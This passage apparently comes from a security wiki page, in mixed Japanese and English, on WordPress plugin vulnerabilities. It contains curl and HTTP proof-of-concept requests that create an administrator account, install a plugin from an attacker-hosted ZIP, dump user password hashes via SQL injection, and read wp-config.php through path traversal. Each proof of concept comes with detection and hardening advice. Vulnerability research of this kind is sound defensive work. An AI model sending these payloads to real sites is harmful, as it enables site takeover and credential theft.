# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
  • No capability enforcement; minted key is accepted as a universal bypass

Detection checklist

  • プラグインコードを grep して register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ]) を探す
  • 認証済みユーザーや capability に紐づけられず、リクエスト提供の識別情報(username/email)に基づいてトークン/キーを発行するルート
  • サーバー側の capability チェックなしに生成されたトークン/キーを受け入れる後続のルートを探す

Hardening

  • 特権を要する REST route では、必要な capability に対して current_user_can() を強制する permission_callback を必須にする
  • クライアント提供の識別情報から長期間有効なキーを発行しない。必要な場合は認証後に短命でユーザーに紐づくトークンを発行し、使用時に再度 capability を確認する
  • 呼び出し元のユーザーコンテキストを検証する(wp_set_current_user 単独では不十分)し、!is_user_logged_in() || !current_user_can() の場合はリクエストを拒否する

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX ハンドラで、plugins/themes を変更し、wp_verify_nonce()/check_admin_referer() のみを使っていて権限チェックがないもの
  • nonce 検証後に $skip_caps = true を設定するコードパス

Hardening

  • nonce を CSRF トークンとしてのみ扱い、nonce の状態に関わらず権限チェックを必ず実施する
  • installer code に到達する前に current_user_can(‘install_plugins’) と current_user_can(‘activate_plugins’) を要求する
  • 未認証アクセスを拒否し、権限が必要なフローに対して nopriv の AJAX アクションを公開しない

Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)

Patchstack’s analysis showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Only check_ajax_referer() is called; there is no current_user_can('install_plugins') or current_user_can('activate_plugins').
  • The nonce is embedded in the Motors admin page, so any Subscriber that can open /wp-admin/ can copy it from the HTML/JS.
  • The handler trusts the attacker-controlled plugin parameter (read from $_GET) and passes it into Plugin_Upgrader::install(), so an arbitrary remote ZIP is downloaded into wp-content/plugins/.
  • After installation the theme unconditionally calls mvl_theme_activate_plugin(), guaranteeing execution of the attacker plugin’s PHP code.

エクスプロイトの流れ

  1. 低権限アカウントを登録するか乗っ取り(Subscriber で十分)し、Motors ダッシュボードの UI から mvl_theme_install_base nonce を取得します。
  2. トップレベルディレクトリが期待されるスラッグ motors-car-dealership-classified-listings/ と一致するプラグイン ZIP を作成し、*.php エントリポイントに backdoor や webshell を埋め込みます。
  3. ZIP をホスティングし、ハンドラをあなたの URL に向けてインストーラを起動します:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

ハンドラが $_GET['plugin'] を読み取るため、同じペイロードはクエリ文字列経由でも送信できます。

検出チェックリスト

  • 権限チェックなしで wp_ajax_* フックに接続された Plugin_UpgraderTheme_Upgrader、またはカスタムの install_plugin.php ヘルパーをテーマ/プラグイン内で検索する。
  • pluginpackagesourceurl パラメータを受け取り、それを upgrader APIs に渡すハンドラを調査する。特にスラッグがハードコードされているが ZIP の内容が検証されていない場合に注意。
  • インストーラ操作用の nonces を公開する管理ページを確認する — Subscribers がページを読み込める場合、その nonce は leak すると仮定する。

ハードニング

  • nonce 検証の後、installer の AJAX コールバックを current_user_can('install_plugins')current_user_can('activate_plugins') で制限する。Motors 5.6.82 がこのチェックを導入してこのバグを修正した。
  • 信頼されていない URLs を拒否する:インストーラをバンドルされた ZIP や信頼できるリポジトリに限定する、または署名付きダウンロードマニフェストを強制する。
  • nonces を CSRF トークンとして厳格に扱う;それらは認可を提供せず、権限チェックの代替にしてはいけない。

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

複数の depicter-* アクションが s (search) パラメータを受け取り、それをパラメータ化せずに SQL クエリに連結していた。

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • depicter-* の action handlers と、SQL 内での $_GET[‘s’] や $_POST[‘s’] の直接使用を grep で検索する
  • s を連結している $wpdb->get_results()/query() に渡されるカスタムクエリを確認する

Hardening

  • 常に $wpdb->prepare() または wpdb placeholders を使用し、サーバー側で予期しないメタ文字を拒否する
  • s に対して厳格な許可リストを追加し、期待される文字セット/長さに正規化する

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

テンプレートパラメータで攻撃者制御のパスを正規化/隔離しないと、任意のローカルファイルを読み取られ、includable PHP/log files が実行時に取り込まれるとコード実行につながることがある。

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: 正規化/許可リスト化が行われておらず、トラバーサルが可能
  • Impact: 機密情報の開示 (wp-config.php)、特定環境では RCE の可能性(log poisoning、includable PHP)

PoC – wp-config.php の読み取り

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Detection checklist

  • realpath() による包含チェックなしに、リクエストパスを include()/require()/read シンクに連結するハンドラがないか確認する
  • 意図した templates ディレクトリの外に到達する ../ のようなトラバーサルパターンを探す

Hardening

  • 許可リスト化されたテンプレートを強制する;realpath() で解決し、str_starts_with(realpath(file), realpath(allowed_base)) を要求する
  • 入力を正規化する;トラバーサルシーケンスや絶対パスを拒否する;sanitize_file_name() はファイル名のみ(フルパスには使用しない)に使う

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする